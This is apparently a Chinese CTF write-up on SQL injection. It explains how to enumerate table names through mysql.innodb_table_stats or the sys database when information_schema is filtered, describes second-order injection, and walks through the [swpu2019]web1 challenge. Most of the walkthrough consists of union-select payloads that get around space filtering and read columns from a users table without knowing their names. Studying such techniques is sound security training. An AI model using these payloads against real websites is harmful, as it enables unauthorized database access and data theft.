无列名注入
sql注入之无名注入
在我们进行sql注入的时候,有时候information_schema这个库可能会因为过滤而无法调用,这时我们就不能通过这个库来查出表名和列名。不过我们可以通过两种方法来查出表名:
InnoDb引擎
从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。
sys数据库
在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns来获取表名。
文章截取csdn
二次注入
指已经被存入数据库的值被误解读为错误指令。
一般出现在读取值的过程中有各种过滤,然后对读取数据库时不进行过滤或转义。
[swpu2019]web1
先注册账号
然后就可以上传广告(上传广告就是把值存入数据库)
然后分别测试在广告名和广告内容注入,发现广告名可以注入,但是有很多的过滤。

用/**/来代替空格,利用union select 查出字段数和回显

发现2,3位置回显,

查库

查表(出现没有)

-1’union//select//1,2,group_concat(table_name)//from//information_schema.tables//where//table.schema=database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&’1’=’1
这里的information_schema被过滤了不能用,所以我们要换一个库来查table_name和column_name
-1’union//select//1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22//from//mysql.innodb_table_stats//where//database_name=database()&&’1’=’1
但是这个引擎没有存列名
所以要利用无列名注入。
-1’union//select//1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22//from//mysql.innodb_table_stats//where//database_name=database()&&’1’=’1
用mysql.innodb_table_stats代替information_schema.tables查出表

-1’//union//select//1,(select//group_concat(2)//from//(select//1,2,3//union//select*from//users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&’1’=’1

查询
-1’//union//select//1,(select//group_concat(3)//from//(select//1,2,3//union//select*from//users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&’1’=’1’
